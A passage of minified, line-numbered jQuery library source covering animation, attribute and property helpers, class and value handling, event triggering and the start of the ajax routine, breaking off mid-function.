  2230. if (d = r.camelCase(c), e = b[d], f = a[c], r.isArray(f) && (e = f[1], f = a[c] = f[0]), c !== d && (a[d] = f, delete a[c]), g = r.cssHooks[d], g && "expand" in g) {
  2231. f = g.expand(f), delete a[d];
  2232. for (c in f) c in a || (a[c] = f[c], b[c] = e)
  2233. } else b[d] = e
  2234. }
  2235.  
  2236. function gb(a, b, c) {
  2237. var d, e, f = 0,
  2238. g = gb.prefilters.length,
  2239. h = r.Deferred().always(function() {
  2240. delete i.elem
  2241. }),
  2242. i = function() {
  2243. if (e) return !1;
  2244. for (var b = Ya || bb(), c = Math.max(0, j.startTime + j.duration - b), d = c / j.duration || 0, f = 1 - d, g = 0, i = j.tweens.length; g < i; g++) j.tweens[g].run(f);
  2245. return h.notifyWith(a, [j, f, c]), f < 1 && i ? c : (h.resolveWith(a, [j]), !1)
  2246. },
  2247. j = h.promise({
  2248. elem: a,
  2249. props: r.extend({}, b),
  2250. opts: r.extend(!0, {
  2251. specialEasing: {},
  2252. easing: r.easing._default
  2253. }, c),
  2254. originalProperties: b,
  2255. originalOptions: c,
  2256. startTime: Ya || bb(),
  2257. duration: c.duration,
  2258. tweens: [],
  2259. createTween: function(b, c) {
  2260. var d = r.Tween(a, j.opts, b, c, j.opts.specialEasing[b] || j.opts.easing);
  2261. return j.tweens.push(d), d
  2262. },
  2263. stop: function(b) {
  2264. var c = 0,
  2265. d = b ? j.tweens.length : 0;
  2266. if (e) return this;
  2267. for (e = !0; c < d; c++) j.tweens[c].run(1);
  2268. return b ? (h.notifyWith(a, [j, 1, 0]), h.resolveWith(a, [j, b])) : h.rejectWith(a, [j, b]), this
  2269. }
  2270. }),
  2271. k = j.props;
  2272. for (fb(k, j.opts.specialEasing); f < g; f++)
  2273. if (d = gb.prefilters[f].call(j, a, k, j.opts)) return r.isFunction(d.stop) && (r._queueHooks(j.elem, j.opts.queue).stop = r.proxy(d.stop, d)), d;
  2274. return r.map(k, db, j), r.isFunction(j.opts.start) && j.opts.start.call(a, j), r.fx.timer(r.extend(i, {
  2275. elem: a,
  2276. anim: j,
  2277. queue: j.opts.queue
  2278. })), j.progress(j.opts.progress).done(j.opts.done, j.opts.complete).fail(j.opts.fail).always(j.opts.always)
  2279. }
  2280. r.Animation = r.extend(gb, {
  2281. tweeners: {
  2282. "*": [function(a, b) {
  2283. var c = this.createTween(a, b);
  2284. return da(c.elem, a, _.exec(b), c), c
  2285. }]
  2286. },
  2287. tweener: function(a, b) {
  2288. r.isFunction(a) ? (b = a, a = ["*"]) : a = a.match(K);
  2289. for (var c, d = 0, e = a.length; d < e; d++) c = a[d], gb.tweeners[c] = gb.tweeners[c] || [], gb.tweeners[c].unshift(b)
  2290. },
  2291. prefilters: [eb],
  2292. prefilter: function(a, b) {
  2293. b ? gb.prefilters.unshift(a) : gb.prefilters.push(a)
  2294. }
  2295. }), r.speed = function(a, b, c) {
  2296. var e = a && "object" == typeof a ? r.extend({}, a) : {
  2297. complete: c || !c && b || r.isFunction(a) && a,
  2298. duration: a,
  2299. easing: c && b || b && !r.isFunction(b) && b
  2300. };
  2301. return r.fx.off || d.hidden ? e.duration = 0 : e.duration = "number" == typeof e.duration ? e.duration : e.duration in r.fx.speeds ? r.fx.speeds[e.duration] : r.fx.speeds._default, null != e.queue && e.queue !== !0 || (e.queue = "fx"), e.old = e.complete, e.complete = function() {
  2302. r.isFunction(e.old) && e.old.call(this), e.queue && r.dequeue(this, e.queue)
  2303. }, e
  2304. }, r.fn.extend({
  2305. fadeTo: function(a, b, c, d) {
  2306. return this.filter(ba).css("opacity", 0).show().end().animate({
  2307. opacity: b
  2308. }, a, c, d)
  2309. },
  2310. animate: function(a, b, c, d) {
  2311. var e = r.isEmptyObject(a),
  2312. f = r.speed(b, c, d),
  2313. g = function() {
  2314. var b = gb(this, r.extend({}, a), f);
  2315. (e || V.get(this, "finish")) && b.stop(!0)
  2316. };
  2317. return g.finish = g, e || f.queue === !1 ? this.each(g) : this.queue(f.queue, g)
  2318. },
  2319. stop: function(a, b, c) {
  2320. var d = function(a) {
  2321. var b = a.stop;
  2322. delete a.stop, b(c)
  2323. };
  2324. return "string" != typeof a && (c = b, b = a, a = void 0), b && a !== !1 && this.queue(a || "fx", []), this.each(function() {
  2325. var b = !0,
  2326. e = null != a && a + "queueHooks",
  2327. f = r.timers,
  2328. g = V.get(this);
  2329. if (e) g[e] && g[e].stop && d(g[e]);
  2330. else
  2331. for (e in g) g[e] && g[e].stop && _a.test(e) && d(g[e]);
  2332. for (e = f.length; e--;) f[e].elem !== this || null != a && f[e].queue !== a || (f[e].anim.stop(c), b = !1, f.splice(e, 1));
  2333. !b && c || r.dequeue(this, a)
  2334. })
  2335. },
  2336. finish: function(a) {
  2337. return a !== !1 && (a = a || "fx"), this.each(function() {
  2338. var b, c = V.get(this),
  2339. d = c[a + "queue"],
  2340. e = c[a + "queueHooks"],
  2341. f = r.timers,
  2342. g = d ? d.length : 0;
  2343. for (c.finish = !0, r.queue(this, a, []), e && e.stop && e.stop.call(this, !0), b = f.length; b--;) f[b].elem === this && f[b].queue === a && (f[b].anim.stop(!0), f.splice(b, 1));
  2344. for (b = 0; b < g; b++) d[b] && d[b].finish && d[b].finish.call(this);
  2345. delete c.finish
  2346. })
  2347. }
  2348. }), r.each(["toggle", "show", "hide"], function(a, b) {
  2349. var c = r.fn[b];
  2350. r.fn[b] = function(a, d, e) {
  2351. return null == a || "boolean" == typeof a ? c.apply(this, arguments) : this.animate(cb(b, !0), a, d, e)
  2352. }
  2353. }), r.each({
  2354. slideDown: cb("show"),
  2355. slideUp: cb("hide"),
  2356. slideToggle: cb("toggle"),
  2357. fadeIn: {
  2358. opacity: "show"
  2359. },
  2360. fadeOut: {
  2361. opacity: "hide"
  2362. },
  2363. fadeToggle: {
  2364. opacity: "toggle"
  2365. }
  2366. }, function(a, b) {
  2367. r.fn[a] = function(a, c, d) {
  2368. return this.animate(b, a, c, d)
  2369. }
  2370. }), r.timers = [], r.fx.tick = function() {
  2371. var a, b = 0,
  2372. c = r.timers;
  2373. for (Ya = r.now(); b < c.length; b++) a = c[b], a() || c[b] !== a || c.splice(b--, 1);
  2374. c.length || r.fx.stop(), Ya = void 0
  2375. }, r.fx.timer = function(a) {
  2376. r.timers.push(a), a() ? r.fx.start() : r.timers.pop()
  2377. }, r.fx.interval = 13, r.fx.start = function() {
  2378. Za || (Za = a.requestAnimationFrame ? a.requestAnimationFrame(ab) : a.setInterval(r.fx.tick, r.fx.interval))
  2379. }, r.fx.stop = function() {
  2380. a.cancelAnimationFrame ? a.cancelAnimationFrame(Za) : a.clearInterval(Za), Za = null
  2381. }, r.fx.speeds = {
  2382. slow: 600,
  2383. fast: 200,
  2384. _default: 400
  2385. }, r.fn.delay = function(b, c) {
  2386. return b = r.fx ? r.fx.speeds[b] || b : b, c = c || "fx", this.queue(c, function(c, d) {
  2387. var e = a.setTimeout(c, b);
  2388. d.stop = function() {
  2389. a.clearTimeout(e)
  2390. }
  2391. })
  2392. },
  2393. function() {
  2394. var a = d.createElement("input"),
  2395. b = d.createElement("select"),
  2396. c = b.appendChild(d.createElement("option"));
  2397. a.type = "checkbox", o.checkOn = "" !== a.value, o.optSelected = c.selected, a = d.createElement("input"), a.value = "t", a.type = "radio", o.radioValue = "t" === a.value
  2398. }();
  2399. var hb, ib = r.expr.attrHandle;
  2400. r.fn.extend({
  2401. attr: function(a, b) {
  2402. return S(this, r.attr, a, b, arguments.length > 1)
  2403. },
  2404. removeAttr: function(a) {
  2405. return this.each(function() {
  2406. r.removeAttr(this, a)
  2407. })
  2408. }
  2409. }), r.extend({
  2410. attr: function(a, b, c) {
  2411. var d, e, f = a.nodeType;
  2412. if (3 !== f && 8 !== f && 2 !== f) return "undefined" == typeof a.getAttribute ? r.prop(a, b, c) : (1 === f && r.isXMLDoc(a) || (e = r.attrHooks[b.toLowerCase()] || (r.expr.match.bool.test(b) ? hb : void 0)), void 0 !== c ? null === c ? void r.removeAttr(a, b) : e && "set" in e && void 0 !== (d = e.set(a, c, b)) ? d : (a.setAttribute(b, c + ""), c) : e && "get" in e && null !== (d = e.get(a, b)) ? d : (d = r.find.attr(a, b), null == d ? void 0 : d))
  2413. },
  2414. attrHooks: {
  2415. type: {
  2416. set: function(a, b) {
  2417. if (!o.radioValue && "radio" === b && r.nodeName(a, "input")) {
  2418. var c = a.value;
  2419. return a.setAttribute("type", b), c && (a.value = c), b
  2420. }
  2421. }
  2422. }
  2423. },
  2424. removeAttr: function(a, b) {
  2425. var c, d = 0,
  2426. e = b && b.match(K);
  2427. if (e && 1 === a.nodeType)
  2428. while (c = e[d++]) a.removeAttribute(c)
  2429. }
  2430. }), hb = {
  2431. set: function(a, b, c) {
  2432. return b === !1 ? r.removeAttr(a, c) : a.setAttribute(c, c), c
  2433. }
  2434. }, r.each(r.expr.match.bool.source.match(/\w+/g), function(a, b) {
  2435. var c = ib[b] || r.find.attr;
  2436. ib[b] = function(a, b, d) {
  2437. var e, f, g = b.toLowerCase();
  2438. return d || (f = ib[g], ib[g] = e, e = null != c(a, b, d) ? g : null, ib[g] = f), e
  2439. }
  2440. });
  2441. var jb = /^(?:input|select|textarea|button)$/i,
  2442. kb = /^(?:a|area)$/i;
  2443. r.fn.extend({
  2444. prop: function(a, b) {
  2445. return S(this, r.prop, a, b, arguments.length > 1)
  2446. },
  2447. removeProp: function(a) {
  2448. return this.each(function() {
  2449. delete this[r.propFix[a] || a]
  2450. })
  2451. }
  2452. }), r.extend({
  2453. prop: function(a, b, c) {
  2454. var d, e, f = a.nodeType;
  2455. if (3 !== f && 8 !== f && 2 !== f) return 1 === f && r.isXMLDoc(a) || (b = r.propFix[b] || b, e = r.propHooks[b]), void 0 !== c ? e && "set" in e && void 0 !== (d = e.set(a, c, b)) ? d : a[b] = c : e && "get" in e && null !== (d = e.get(a, b)) ? d : a[b]
  2456. },
  2457. propHooks: {
  2458. tabIndex: {
  2459. get: function(a) {
  2460. var b = r.find.attr(a, "tabindex");
  2461. return b ? parseInt(b, 10) : jb.test(a.nodeName) || kb.test(a.nodeName) && a.href ? 0 : -1
  2462. }
  2463. }
  2464. },
  2465. propFix: {
  2466. "for": "htmlFor",
  2467. "class": "className"
  2468. }
  2469. }), o.optSelected || (r.propHooks.selected = {
  2470. get: function(a) {
  2471. var b = a.parentNode;
  2472. return b && b.parentNode && b.parentNode.selectedIndex, null
  2473. },
  2474. set: function(a) {
  2475. var b = a.parentNode;
  2476. b && (b.selectedIndex, b.parentNode && b.parentNode.selectedIndex)
  2477. }
  2478. }), r.each(["tabIndex", "readOnly", "maxLength", "cellSpacing", "cellPadding", "rowSpan", "colSpan", "useMap", "frameBorder", "contentEditable"], function() {
  2479. r.propFix[this.toLowerCase()] = this
  2480. });
  2481. var lb = /[\t\r\n\f]/g;
  2482.  
  2483. function mb(a) {
  2484. return a.getAttribute && a.getAttribute("class") || ""
  2485. }
  2486. r.fn.extend({
  2487. addClass: function(a) {
  2488. var b, c, d, e, f, g, h, i = 0;
  2489. if (r.isFunction(a)) return this.each(function(b) {
  2490. r(this).addClass(a.call(this, b, mb(this)))
  2491. });
  2492. if ("string" == typeof a && a) {
  2493. b = a.match(K) || [];
  2494. while (c = this[i++])
  2495. if (e = mb(c), d = 1 === c.nodeType && (" " + e + " ").replace(lb, " ")) {
  2496. g = 0;
  2497. while (f = b[g++]) d.indexOf(" " + f + " ") < 0 && (d += f + " ");
  2498. h = r.trim(d), e !== h && c.setAttribute("class", h)
  2499. }
  2500. }
  2501. return this
  2502. },
  2503. removeClass: function(a) {
  2504. var b, c, d, e, f, g, h, i = 0;
  2505. if (r.isFunction(a)) return this.each(function(b) {
  2506. r(this).removeClass(a.call(this, b, mb(this)))
  2507. });
  2508. if (!arguments.length) return this.attr("class", "");
  2509. if ("string" == typeof a && a) {
  2510. b = a.match(K) || [];
  2511. while (c = this[i++])
  2512. if (e = mb(c), d = 1 === c.nodeType && (" " + e + " ").replace(lb, " ")) {
  2513. g = 0;
  2514. while (f = b[g++])
  2515. while (d.indexOf(" " + f + " ") > -1) d = d.replace(" " + f + " ", " ");
  2516. h = r.trim(d), e !== h && c.setAttribute("class", h)
  2517. }
  2518. }
  2519. return this
  2520. },
  2521. toggleClass: function(a, b) {
  2522. var c = typeof a;
  2523. return "boolean" == typeof b && "string" === c ? b ? this.addClass(a) : this.removeClass(a) : r.isFunction(a) ? this.each(function(c) {
  2524. r(this).toggleClass(a.call(this, c, mb(this), b), b)
  2525. }) : this.each(function() {
  2526. var b, d, e, f;
  2527. if ("string" === c) {
  2528. d = 0, e = r(this), f = a.match(K) || [];
  2529. while (b = f[d++]) e.hasClass(b) ? e.removeClass(b) : e.addClass(b)
  2530. } else void 0 !== a && "boolean" !== c || (b = mb(this), b && V.set(this, "__className__", b), this.setAttribute && this.setAttribute("class", b || a === !1 ? "" : V.get(this, "__className__") || ""))
  2531. })
  2532. },
  2533. hasClass: function(a) {
  2534. var b, c, d = 0;
  2535. b = " " + a + " ";
  2536. while (c = this[d++])
  2537. if (1 === c.nodeType && (" " + mb(c) + " ").replace(lb, " ").indexOf(b) > -1) return !0;
  2538. return !1
  2539. }
  2540. });
  2541. var nb = /\r/g,
  2542. ob = /[\x20\t\r\n\f]+/g;
  2543. r.fn.extend({
  2544. val: function(a) {
  2545. var b, c, d, e = this[0]; {
  2546. if (arguments.length) return d = r.isFunction(a), this.each(function(c) {
  2547. var e;
  2548. 1 === this.nodeType && (e = d ? a.call(this, c, r(this).val()) : a, null == e ? e = "" : "number" == typeof e ? e += "" : r.isArray(e) && (e = r.map(e, function(a) {
  2549. return null == a ? "" : a + ""
  2550. })), b = r.valHooks[this.type] || r.valHooks[this.nodeName.toLowerCase()], b && "set" in b && void 0 !== b.set(this, e, "value") || (this.value = e))
  2551. });
  2552. if (e) return b = r.valHooks[e.type] || r.valHooks[e.nodeName.toLowerCase()], b && "get" in b && void 0 !== (c = b.get(e, "value")) ? c : (c = e.value, "string" == typeof c ? c.replace(nb, "") : null == c ? "" : c)
  2553. }
  2554. }
  2555. }), r.extend({
  2556. valHooks: {
  2557. option: {
  2558. get: function(a) {
  2559. var b = r.find.attr(a, "value");
  2560. return null != b ? b : r.trim(r.text(a)).replace(ob, " ")
  2561. }
  2562. },
  2563. select: {
  2564. get: function(a) {
  2565. for (var b, c, d = a.options, e = a.selectedIndex, f = "select-one" === a.type, g = f ? null : [], h = f ? e + 1 : d.length, i = e < 0 ? h : f ? e : 0; i < h; i++)
  2566. if (c = d[i], (c.selected || i === e) && !c.disabled && (!c.parentNode.disabled || !r.nodeName(c.parentNode, "optgroup"))) {
  2567. if (b = r(c).val(), f) return b;
  2568. g.push(b)
  2569. }
  2570. return g
  2571. },
  2572. set: function(a, b) {
  2573. var c, d, e = a.options,
  2574. f = r.makeArray(b),
  2575. g = e.length;
  2576. while (g--) d = e[g], (d.selected = r.inArray(r.valHooks.option.get(d), f) > -1) && (c = !0);
  2577. return c || (a.selectedIndex = -1), f
  2578. }
  2579. }
  2580. }
  2581. }), r.each(["radio", "checkbox"], function() {
  2582. r.valHooks[this] = {
  2583. set: function(a, b) {
  2584. if (r.isArray(b)) return a.checked = r.inArray(r(a).val(), b) > -1
  2585. }
  2586. }, o.checkOn || (r.valHooks[this].get = function(a) {
  2587. return null === a.getAttribute("value") ? "on" : a.value
  2588. })
  2589. });
  2590. var pb = /^(?:focusinfocus|focusoutblur)$/;
  2591. r.extend(r.event, {
  2592. trigger: function(b, c, e, f) {
  2593. var g, h, i, j, k, m, n, o = [e || d],
  2594. p = l.call(b, "type") ? b.type : b,
  2595. q = l.call(b, "namespace") ? b.namespace.split(".") : [];
  2596. if (h = i = e = e || d, 3 !== e.nodeType && 8 !== e.nodeType && !pb.test(p + r.event.triggered) && (p.indexOf(".") > -1 && (q = p.split("."), p = q.shift(), q.sort()), k = p.indexOf(":") < 0 && "on" + p, b = b[r.expando] ? b : new r.Event(p, "object" == typeof b && b), b.isTrigger = f ? 2 : 3, b.namespace = q.join("."), b.rnamespace = b.namespace ? new RegExp("(^|\\.)" + q.join("\\.(?:.*\\.|)") + "(\\.|$)") : null, b.result = void 0, b.target || (b.target = e), c = null == c ? [b] : r.makeArray(c, [b]), n = r.event.special[p] || {}, f || !n.trigger || n.trigger.apply(e, c) !== !1)) {
  2597. if (!f && !n.noBubble && !r.isWindow(e)) {
  2598. for (j = n.delegateType || p, pb.test(j + p) || (h = h.parentNode); h; h = h.parentNode) o.push(h), i = h;
  2599. i === (e.ownerDocument || d) && o.push(i.defaultView || i.parentWindow || a)
  2600. }
  2601. g = 0;
  2602. while ((h = o[g++]) && !b.isPropagationStopped()) b.type = g > 1 ? j : n.bindType || p, m = (V.get(h, "events") || {})[b.type] && V.get(h, "handle"), m && m.apply(h, c), m = k && h[k], m && m.apply && T(h) && (b.result = m.apply(h, c), b.result === !1 && b.preventDefault());
  2603. return b.type = p, f || b.isDefaultPrevented() || n._default && n._default.apply(o.pop(), c) !== !1 || !T(e) || k && r.isFunction(e[p]) && !r.isWindow(e) && (i = e[k], i && (e[k] = null), r.event.triggered = p, e[p](), r.event.triggered = void 0, i && (e[k] = i)), b.result
  2604. }
  2605. },
  2606. simulate: function(a, b, c) {
  2607. var d = r.extend(new r.Event, c, {
  2608. type: a,
  2609. isSimulated: !0
  2610. });
  2611. r.event.trigger(d, null, b)
  2612. }
  2613. }), r.fn.extend({
  2614. trigger: function(a, b) {
  2615. return this.each(function() {
  2616. r.event.trigger(a, b, this)
  2617. })
  2618. },
  2619. triggerHandler: function(a, b) {
  2620. var c = this[0];
  2621. if (c) return r.event.trigger(a, b, c, !0)
  2622. }
  2623. }), r.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "), function(a, b) {
  2624. r.fn[b] = function(a, c) {
  2625. return arguments.length > 0 ? this.on(b, null, a, c) : this.trigger(b)
  2626. }
  2627. }), r.fn.extend({
  2628. hover: function(a, b) {
  2629. return this.mouseenter(a).mouseleave(b || a)
  2630. }
  2631. }), o.focusin = "onfocusin" in a, o.focusin || r.each({
  2632. focus: "focusin",
  2633. blur: "focusout"
  2634. }, function(a, b) {
  2635. var c = function(a) {
  2636. r.event.simulate(b, a.target, r.event.fix(a))
  2637. };
  2638. r.event.special[b] = {
  2639. setup: function() {
  2640. var d = this.ownerDocument || this,
  2641. e = V.access(d, b);
  2642. e || d.addEventListener(a, c, !0), V.access(d, b, (e || 0) + 1)
  2643. },
  2644. teardown: function() {
  2645. var d = this.ownerDocument || this,
  2646. e = V.access(d, b) - 1;
  2647. e ? V.access(d, b, e) : (d.removeEventListener(a, c, !0), V.remove(d, b))
  2648. }
  2649. }
  2650. });
  2651. var qb = a.location,
  2652. rb = r.now(),
  2653. sb = /\?/;
  2654. r.parseXML = function(b) {
  2655. var c;
  2656. if (!b || "string" != typeof b) return null;
  2657. try {
  2658. c = (new a.DOMParser).parseFromString(b, "text/xml")
  2659. } catch (d) {
  2660. c = void 0
  2661. }
  2662. return c && !c.getElementsByTagName("parsererror").length || r.error("Invalid XML: " + b), c
  2663. };
  2664. var tb = /\[\]$/,
  2665. ub = /\r?\n/g,
  2666. vb = /^(?:submit|button|image|reset|file)$/i,
  2667. wb = /^(?:input|select|textarea|keygen)/i;
  2668.  
  2669. function xb(a, b, c, d) {
  2670. var e;
  2671. if (r.isArray(b)) r.each(b, function(b, e) {
  2672. c || tb.test(a) ? d(a, e) : xb(a + "[" + ("object" == typeof e && null != e ? b : "") + "]", e, c, d)
  2673. });
  2674. else if (c || "object" !== r.type(b)) d(a, b);
  2675. else
  2676. for (e in b) xb(a + "[" + e + "]", b[e], c, d)
  2677. }
  2678. r.param = function(a, b) {
  2679. var c, d = [],
  2680. e = function(a, b) {
  2681. var c = r.isFunction(b) ? b() : b;
  2682. d[d.length] = encodeURIComponent(a) + "=" + encodeURIComponent(null == c ? "" : c)
  2683. };
  2684. if (r.isArray(a) || a.jquery && !r.isPlainObject(a)) r.each(a, function() {
  2685. e(this.name, this.value)
  2686. });
  2687. else
  2688. for (c in a) xb(c, a[c], b, e);
  2689. return d.join("&")
  2690. }, r.fn.extend({
  2691. serialize: function() {
  2692. return r.param(this.serializeArray())
  2693. },
  2694. serializeArray: function() {
  2695. return this.map(function() {
  2696. var a = r.prop(this, "elements");
  2697. return a ? r.makeArray(a) : this
  2698. }).filter(function() {
  2699. var a = this.type;
  2700. return this.name && !r(this).is(":disabled") && wb.test(this.nodeName) && !vb.test(a) && (this.checked || !ha.test(a))
  2701. }).map(function(a, b) {
  2702. var c = r(this).val();
  2703. return null == c ? null : r.isArray(c) ? r.map(c, function(a) {
  2704. return {
  2705. name: b.name,
  2706. value: a.replace(ub, "\r\n")
  2707. }
  2708. }) : {
  2709. name: b.name,
  2710. value: c.replace(ub, "\r\n")
  2711. }
  2712. }).get()
  2713. }
  2714. });
  2715. var yb = /%20/g,
  2716. zb = /#.*$/,
  2717. Ab = /([?&])_=[^&]*/,
  2718. Bb = /^(.*?):[ \t]*([^\r\n]*)$/gm,
  2719. Cb = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,
  2720. Db = /^(?:GET|HEAD)$/,
  2721. Eb = /^\/\//,
  2722. Fb = {},
  2723. Gb = {},
  2724. Hb = "*/".concat("*"),
  2725. Ib = d.createElement("a");
  2726. Ib.href = qb.href;
  2727.  
  2728. function Jb(a) {
  2729. return function(b, c) {
  2730. "string" != typeof b && (c = b, b = "*");
  2731. var d, e = 0,
  2732. f = b.toLowerCase().match(K) || [];
  2733. if (r.isFunction(c))
  2734. while (d = f[e++]) "+" === d[0] ? (d = d.slice(1) || "*", (a[d] = a[d] || []).unshift(c)) : (a[d] = a[d] || []).push(c)
  2735. }
  2736. }
  2737.  
  2738. function Kb(a, b, c, d) {
  2739. var e = {},
  2740. f = a === Gb;
  2741.  
  2742. function g(h) {
  2743. var i;
  2744. return e[h] = !0, r.each(a[h] || [], function(a, h) {
  2745. var j = h(b, c, d);
  2746. return "string" != typeof j || f || e[j] ? f ? !(i = j) : void 0 : (b.dataTypes.unshift(j), g(j), !1)
  2747. }), i
  2748. }
  2749. return g(b.dataTypes[0]) || !e["*"] && g("*")
  2750. }
  2751.  
  2752. function Lb(a, b) {
  2753. var c, d, e = r.ajaxSettings.flatOptions || {};
  2754. for (c in b) void 0 !== b[c] && ((e[c] ? a : d || (d = {}))[c] = b[c]);
  2755. return d && r.extend(!0, a, d), a
  2756. }
  2757.  
  2758. function Mb(a, b, c) {
  2759. var d, e, f, g, h = a.contents,
  2760. i = a.dataTypes;
  2761. while ("*" === i[0]) i.shift(), void 0 === d && (d = a.mimeType || b.getResponseHeader("Content-Type"));
  2762. if (d)
  2763. for (e in h)
  2764. if (h[e] && h[e].test(d)) {
  2765. i.unshift(e);
  2766. break
  2767. }
  2768. if (i[0] in c) f = i[0];
  2769. else {
  2770. for (e in c) {
  2771. if (!i[0] || a.converters[e + " " + i[0]]) {
  2772. f = e;
  2773. break
  2774. }
  2775. g || (g = e)
  2776. }
  2777. f = f || g
  2778. }
  2779. if (f) return f !== i[0] && i.unshift(f), c[f]
  2780. }
  2781.  
  2782. function Nb(a, b, c, d) {
  2783. var e, f, g, h, i, j = {},
  2784. k = a.dataTypes.slice();
  2785. if (k[1])
  2786. for (g in a.converters) j[g.toLowerCase()] = a.converters[g];
  2787. f = k.shift();
  2788. while (f)
  2789. if (a.responseFields[f] && (c[a.responseFields[f]] = b), !i && d && a.dataFilter && (b = a.dataFilter(b, a.dataType)), i = f, f = k.shift())
  2790. if ("*" === f) f = i;
  2791. else if ("*" !== i && i !== f) {
  2792. if (g = j[i + " " + f] || j["* " + f], !g)
  2793. for (e in j)
  2794. if (h = e.split(" "), h[1] === f && (g = j[i + " " + h[0]] || j["* " + h[0]])) {
  2795. g === !0 ? g = j[e] : j[e] !== !0 && (f = h[0], k.unshift(h[1]));
  2796. break
  2797. }
  2798. if (g !== !0)
  2799. if (g && a["throws"]) b = g(b);
  2800. else try {
  2801. b = g(b)
  2802. } catch (l) {
  2803. return {
  2804. state: "parsererror",
  2805. error: g ? l : "No conversion from " + i + " to " + f
  2806. }
  2807. }
  2808. }
  2809. return {
  2810. state: "success",
  2811. data: b
  2812. }
  2813. }
  2814. r.extend({
  2815. active: 0,
  2816. lastModified: {},
  2817. etag: {},
  2818. ajaxSettings: {
  2819. url: qb.href,
  2820. type: "GET",
  2821. isLocal: Cb.test(qb.protocol),
  2822. global: !0,
  2823. processData: !0,
  2824. async: !0,
  2825. contentType: "application/x-www-form-urlencoded; charset=UTF-8",
  2826. accepts: {
  2827. "*": Hb,
  2828. text: "text/plain",
  2829. html: "text/html",
  2830. xml: "application/xml, text/xml",
  2831. json: "application/json, text/javascript"
  2832. },
  2833. contents: {
  2834. xml: /\bxml\b/,
  2835. html: /\bhtml/,
  2836. json: /\bjson\b/
  2837. },
  2838. responseFields: {
  2839. xml: "responseXML",
  2840. text: "responseText",
  2841. json: "responseJSON"
  2842. },
  2843. converters: {
  2844. "* text": String,
  2845. "text html": !0,
  2846. "text json": JSON.parse,
  2847. "text xml": r.parseXML
  2848. },
  2849. flatOptions: {
  2850. url: !0,
  2851. context: !0
  2852. }
  2853. },
  2854. ajaxSetup: function(a, b) {
  2855. return b ? Lb(Lb(a, r.ajaxSettings), b) : Lb(r.ajaxSettings, a)
  2856. },
  2857. ajaxPrefilter: Jb(Fb),
  2858. ajaxTransport: Jb(Gb),
  2859. ajax: function(b, c) {
  2860. "object" == typeof b && (c = b, b = void 0), c = c || {};
  2861. var e, f, g, h, i, j, k, l, m, n, o = r.ajaxSetup({}, c),
  2862. p = o.context || o,
  2863. q = o.context && (p.nodeType || p.jquery) ? r(p) : r.event,
  2864. s = r.Deferred(),
  2865. t = r.Callbacks("once memory"),
  2866. u = o.statusCode || {},
  2867. v = {},
  2868. w = {},
  2869. x = "canceled",
  2870. y = {
  2871. readyState: 0,
  2872. getResponseHeader: function(a) {
  2873. var b;
  2874. if (k) {
  2875. if (!h) {
  2876. h = {};
  2877. while (b = Bb.exec(g)) h[b[1].toLowerCase()] = b[2]
  2878. }
  2879. b = h[a.toLowerCase()]
  2880. }
  2881. return null == b ? null : b
  2882. },
  2883. getAllResponseHeaders: function() {
  2884. return k ? g : null
  2885. },
  2886. setRequestHeader: function(a, b) {
  2887. return null == k && (a = w[a.toLowerCase()] = w[a.toLowerCase()] || a, v[a] = b), this
  2888. },
  2889. overrideMimeType: function(a) {
  2890. return null == k && (o.mimeType = a), this
  2891. },
  2892. statusCode: function(a) {
  2893. var b;
  2894. if (a)
  2895. if (k) y.always(a[y.status]);
  2896. else
  2897. for (b in a) u[b] = [u[b], a[b]];
  2898. return this
  2899. },
  2900. abort: function(a) {
  2901. var b = a || x;
  2902. return e && e.abort(b), A(0, b), this
  2903. }
  2904. };
  2905. if (s.promise(y), o.url = ((b || o.url || qb.href) + "").replace(Eb, qb.protocol + "//"), o.type = c.method || c.type || o.method || o.type, o.dataTypes = (o.dataType || "*").toLowerCase().match(K) || [""], null == o.crossDomain) {
  2906. j = d.createElement("a");
  2907. try {
  2908. j.href = o.url, j.href = j.href, o.crossDomain = Ib.protocol + "//" + Ib.host != j.protocol + "//" + j.host
  2909. } catch (z) {
  2910. o.crossDomain = !0
  2911. }
  2912. }
  2913. if (o.data && o.processData && "string" != typeof o.data && (o.data = r.param(o.data, o.traditional)), Kb(Fb, o, c, y), k) return y;
  2914. l = r.event && o.global, l && 0 === r.active++ && r.event.trigger("ajaxStart"), o.type = o.type.toUpperCase(), o.hasContent = !Db.test(o.type), f = o.url.replace(zb, ""), o.hasContent ? o.data && o.processData && 0 === (o.contentType || "").indexOf("application/x-www-form-urlencoded") && (o.data = o.data.replace(yb, "+")) : (n = o.url.slice(f.length), o.data && (f += (sb.test(f) ? "&" : "?") + o.data, delete o.data), o.cache === !1 && (f = f.replace(Ab, ""), n = (sb.test(f) ? "&" : "?") + "_=" + rb++ + n), o.url = f + n), o.ifModified && (r.lastModified[f] && y.setRequestHeader("If-Modified-Since", r.lastModified[f]), r.etag[f] && y.setRequestHeader("If-None-Match", r.etag[f])), (o.data && o.hasContent && o.contentType !== !1 || c.contentType) && y.setRequestHeader("Content-Type", o.contentType), y.setRequestHeader("Accept", o.dataTypes[0] && o.accepts[o.dataTypes[0]] ? o.accepts[o.dataTypes[0]] + ("*" !== o.dataTypes[0] ? ", " + Hb + "; q=0.01" : "") : o.accepts["*"]);
  2915. for (m in o.headers) y.setRequestHeader(m, o.headers[m]);
  2916. if (o.beforeSend && (o.beforeSend.call(p, y, o) === !1 || k)) return y.abort();
  2917. if (x = "abort", t.add(o.complete), y.done(o.success), y.fail(o.error), e = Kb(Gb, o, c, y)) {
  2918. if (y.readyState = 1, l && q.trigger("ajaxSend", [y, o]), k) return y;
  2919. o.async && o.timeout > 0 && (i = a.setTimeout(function() {
  2920. y.abort("timeout")
  2921. }, o.timeout));
  2922. try {
  2923. k = !1, e.send(v, A)
  2924. } catch (z) {
  2925. if (k) throw z;
  2926. A(-1, z)
  2927. }
  2928. } else A(-1, "No Transport");
  2929.  
  2930. function A(b, c, d, h) {
  2931. var j, m, n, v, w, x = c;
